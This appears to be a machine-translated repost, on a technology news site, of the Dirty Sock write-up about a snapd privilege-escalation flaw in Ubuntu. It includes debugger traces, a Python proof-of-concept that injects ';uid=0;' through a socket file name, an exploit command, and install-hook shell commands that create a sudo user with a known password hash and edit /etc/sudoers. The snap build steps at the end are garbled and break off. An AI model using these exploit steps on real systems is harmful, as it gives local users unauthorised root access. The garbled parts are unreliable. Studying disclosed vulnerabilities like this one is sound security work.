In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-01-17 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Development >
Share
Shulou(Shulou.com)06/02 Report--
How to carry out Dirty Sock analysis of privilege escalation vulnerabilities in Ubuntu Linux, many novices are not very clear about this. In order to help you solve this problem, the following editor will explain it in detail. People with this need can come and learn. I hope you can get something.
Due to a bug in the default installation of the service snapd API, a privilege escalation vulnerability was found through the default installation of Ubuntu Linux, which can be exploited by any local user to gain root privileges directly.
Overview
First, provide two valid exploit in the dirty_sock code repository here:
Dirty_sockv1: use create-user API to create local users based on the details of Ubuntu SSO.
Dirty_sockv2: side-loaded snap, which contains the install hook that generates the new local user.
Both are valid for Ubuntu installed by default. Most of the testing was done in version 18.10, but the older version was also affected by the bug. It is worth mentioning that the snapd team responded quickly and properly to this vulnerability. It is also a pleasure to work with them directly.
Snapd provides a REST API attached to the local UNIX_AF socket and implements access control to the socket by querying the associated UID connected to the API. During string parsing in the for loop, user-controllable socket data can override the UID variable, allowing any user to access any API function. By visiting API, there are several ways to obtain root permissions, and the exploit linked above shows two possibilities.
Background: what is snap?
In order to simplify the packaged applications on Linux systems, a variety of new competitive standards have emerged. As one of the distributions, Canonical, the developer of Ubuntu Linux, is also promoting their "Snap", similar to Windows applications, where snap converts all application dependencies into a single binary.
The Snap ecosystem includes an "app store" where developers can release and maintain ready-to-use software packages.
The communication between the local snap and the online store is handled by the system service "snapd". This service is automatically installed in Ubuntu and runs in the context of the "root" user. Snapd is becoming an important part of the Ubuntu operating system, especially in leaner distributions such as "Snappy Ubuntu Core" for the cloud and the Internet of things.
Overview of vulnerabilities interesting Linux operating system information
The snapd service is described in the unit file located at / lib/systemd/system/snapd.service.
Here are the first few lines:
[Unit] Description=Snappy daemonRequires=snapd.socket
Following this we find the systemd socket unit file, located at / lib/systemd/system/snapd.socket, which provides some interesting information:
[Socket] ListenStream=/run/snapd.socketListenStream=/run/snapd-snap.socketSocketMode=0666
Linux communicates between processes on the same machine through a socket called "AF_UNIX". "AF_INET" and "AF_INET6" socket are used for process communication over a network connection. What is shown above tells us that the system has created two socket files.' The 0666' mode sets file read and write permissions for everyone, which is the only way to allow any process to connect and communicate with socket.
We can view these socket files through the file system:
$ls-aslh / run/snapd*0 srw-rw-rw- 1 root root 0 Jan 25 03:42 / run/snapd-snap.socket0 srw-rw-rw- 1 root root 0 Jan 25 03:42 / run/snapd.socket
We can connect to an AF_UNIX socket like this through the nc tool in Linux (as long as it is BSD style). The following is an example.
$nc-U / run/snapd.socketHTTP/1.1 400 Bad RequestContent-Type: text/plain; charset=utf-8Connection: close400 Bad Request
As it happens, the first thing an attacker does after hacking into a computer is to find hidden services running in the context of root. HTTP servers are the main targets of exploitation, and they are usually related to network sockets.
Now we know that there is a good use target-a hidden HTTP service that may not have been widely tested. In addition, I am developing an entitlement tool, uptux, that identifies this vulnerability.
Vulnerable code
As an open source project, we use the source code to continue static analysis. The developer provided documentation about this REST API.
For utilization, a much needed API function is "POST/v2/create-user", or "create a local user" for short. The documentation tells us that this call requires root permission to execute. So how on earth does the daemon determine whether the user accessing API already has root privileges?
Following the code, we found this file, and now let's look at this line:
Ucred, err: = getUcred (int (f.Fd ()), sys.SOL_SOCKET, sys.SO_PEERCRED)
This is one of the standard libraries that call golang to collect user information related to socket connections. Basically, the AF_UNIX socket series has an option to receive credentials for the sending process in additional data (see man unix on the Linux command line). This is a fairly reliable way to determine process permissions to access API.
By using the golang debugger named delve, we can see exactly what was returned when the "nc" command was executed above. Here is the output of the debugger when the breakpoint is set in this function, and then use delve's "print" command to display what the variable "ucred" currently contains:
> github.com/snapcore/snapd/daemon. (* ucrednetListener). Accept (). Ucred, err: = getUcred (int (f.Fd ()), sys.SOL_SOCKET, sys.SO_PEERCRED) = > 110: if err! = nil {... (dlv) print ucred*syscall.Ucred {Pid: 5388, Uid: 1000, Gid: 1000}
Good. It knows that my uid is 1000 and is about to deny me access to sensitive API functions. If the program calls these variables in this state, the result is as expected, but this is not the case.
In fact, some additional processing is included in this function, in which the connection information is added to a new object together with the value found above:
Func (wc * ucrednetConn) RemoteAddr () net.Addr {return & ucrednetAddr {wc.Conn.RemoteAddr (), wc.pid, wc.uid, wc.socket}}
These values are concatenated into a string variable:
Func (wa * ucrednetAddr) String () string {return fmt.Sprintf ("pid=%s;uid=%s;socket=%s;%s", wa.pid, wa.uid, wa.socket, wa.Addr)}
Finally, through the function parsing, the string is again decomposed into a single variable.
Func ucrednetGet (remoteAddr string) (pid uint32, uid uint32, socket string, err error) {... for _, token: = range strings.Split (remoteAddr, ";") {var v uint64...} else if strings.HasPrefix (token, "uid=") {if v, err = strconv.ParseUint (token [4:], 10,32); err = nil {uid= uint32 (v)} else {break}
The last function is to split the string with the ";" character and find anything that starts with "uid =". When it traverses all the splits, the second occurrence of "uid =" overwrites the first.
So if we can inject arbitrary text into this function in some way.
Going back to the delve debugger, we can look at the "remoteAddr" string to see what it contains in the "nc" connection that implements the correct HTTP GET request:
Request:
$nc-U / run/snapd.socketGET / HTTP/1.1Host: 127.0.0.1
Debugger output:
Github.com/snapcore/snapd/daemon.ucrednetGet ()... = > 41: for _, token: = range strings.Split (remoteAddr, ";") {... (dlv) print remoteAddr "pid=5127;uid=1000;socket=/run/snapd.socket;@"
What's happening now is that we have a string variable where all the variables are concatenated and the string contains four elements. The second element "uid = 1000" is the content of the current control permission.
The function splits the string through ";" and iterates, and if the string contains "uid="), the first "uid=" may be overwritten.
The first (socket=/run/snapd.socket) is the local "network address" used to listen on the socket: the binding file path defined by the service. We cannot modify snapd, nor can we make it run under another socket name. But what is the "@" symbol at the end of the string? Where did this come from? The variable name "remoteAddr" gives a good hint. After some trouble in the debugger, we can see that the golang standard library (net.go) returns the local network address and the remote address. You can see the output as "laddr" and "raddr" in the debugging session below.
> net. (* conn). LocalAddr () / usr/lib/go-1.10/src/net/net.go:210 (PC: 0x77f65f). = > 210: func (c * conn) LocalAddr () Addr {... (dlv) print c.fd...laddr: net.Addr (* net.UnixAddr) * {Name: "/ run/snapd.socket", Net: "unix",}, raddr: net.Addr (* net.UnixAddr) * {Name: "@", Net: "unix"},}
The remote address is set to the mysterious @ symbol. After further reading the man unix help information, we learned that this is related to the "abstract namespace", which is used to bind socket independent of the file system. The socket in the namespace begins with null-byte, and the character is usually displayed as @ in the terminal.
We can create a socket that binds to the filename we control without relying on the abstract socket namespace that netcat leverages. This should allow us to influence the last part of the string variable we want to modify, that is, the "raddr" variable above.
With some python code, we can create a file name that contains the "; uid=0;" string and bind the file through socket to start a connection to snapd API.
The following is a snippet of PoC:
# # set the socket name containing payload sockfile = "/ tmp/sock;uid=0;" # # bind socketclient_sock = socket.socket (socket.AF_UNIX, socket.SOCK_STREAM) client_sock.bind (sockfile) # # connect to the snap daemon client_sock.connect ('/ run/snapd.socket')
Now take a look at the remoteAddr variable and observe what happens in the debugger:
> github.com/snapcore/snapd/daemon.ucrednetGet ()... = > 41: for _, token: = range strings.Split (remoteAddr, ";") {... (dlv) print remoteAddr "pid=5275;uid=1000;socket=/run/snapd.socket;/tmp/sock;uid=0;"
We injected a fake uid 0, the root user, which overrides the actual uid in the last iteration. This allows us to access the protected features of API.
Continue to observe in the debugger to verify this, and see that uid is set to 0:
> github.com/snapcore/snapd/daemon.ucrednetGet ()... = > 65: return pid, uid, socket, err... (dlv) print uid0 weaponized version 1
Dirty_sockv1 takes advantage of the API function "POST/v2/create-user". To exploit this vulnerability, we simply create an account on Ubuntu SSO, then upload the SSH public key to the account directory, and then use the following command to exploit the vulnerability (using the registered mailbox and associated SSH private key):
$dirty_sockv1.py-u your @ email .com-k id_rsa
This method is very reliable and can be safely implemented. You can stop here and try to get root permission yourself.
Still watching? Well, the requirements for Internet connectivity and SSH services are changing all the time, and I want to see if I can use it in a more restricted environment. This led us to have version two.
Version two
Dirty_sockv2 uses the "POST/v2/snaps" API to load the snap, which contains a bash script that can add a local user. This version is suitable for systems that are not running SSH services, as well as for new versions of Ubuntu that do not have an Internet connection. However, side loading requires some core snap dependencies, and if these dependencies do not exist, update operations for the snapd service may be triggered. In this scenario, I found that this version is still valid, but can only be used once.
Snap itself runs in a sandboxed environment, and the digital signature needs to match the trusted public key of the host. However, we can reduce these restrictions through snap in development mode ("devmode") so that snap can access the host operating system like other applications.
In addition, snap introduces a "hooks" mechanism, where "install hook" runs during snap installation, and "install hook" can be a simple shell script. If the snap is configured as "devmode", then the hook will run in the root context.
I created a simple snap that has no other functions but a bash script that will be executed during the installation phase.
The script runs the following command:
Useradd dirty_sock-m-p'$6 $sWZcW1t25pfUdBuX$jWjEZQF2zFSfyGy9LbvG3vFzzHRjXfBYK0SOGfMD1sLyaS97AwnJUs7gDCY.fg19Ns3JwRdDhOcEmDpBVlF9m.'-s / bin/bashusermod-aG sudo dirty_sockecho "dirty_sock ALL= (ALL:ALL) ALL" > > / etc/sudoers
The encrypted string above simply uses the Python crypt.crypt () function to process the text created by "dirty_sock".
The following command shows the detailed process of creating this snapshot, which is done on the development machine, not the target machine. Once the snap is created, we can convert it to base64 text so that it can be included in the complete python utilization code.
# # install the necessary tools sudo apt install snapcraft-y install # create an empty directory cd / tmpmkdir dirty_snapcd dirty_snap## initialization directory as the snap project snapcraft init## setup install hookmkdir snap/hookstouch snap/hooks/installchmod snap/hooks/install## write down the script we want to execute with root cat > snap/hooks/install > / etc/sudoersEOF## configuration snap yaml file cat > snap/snapcraft.yaml
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
"Every 5-10 years, there's a rare product, a really special, very unusual product that's the most un
© 2024 shulou.com SLNews company. All rights reserved.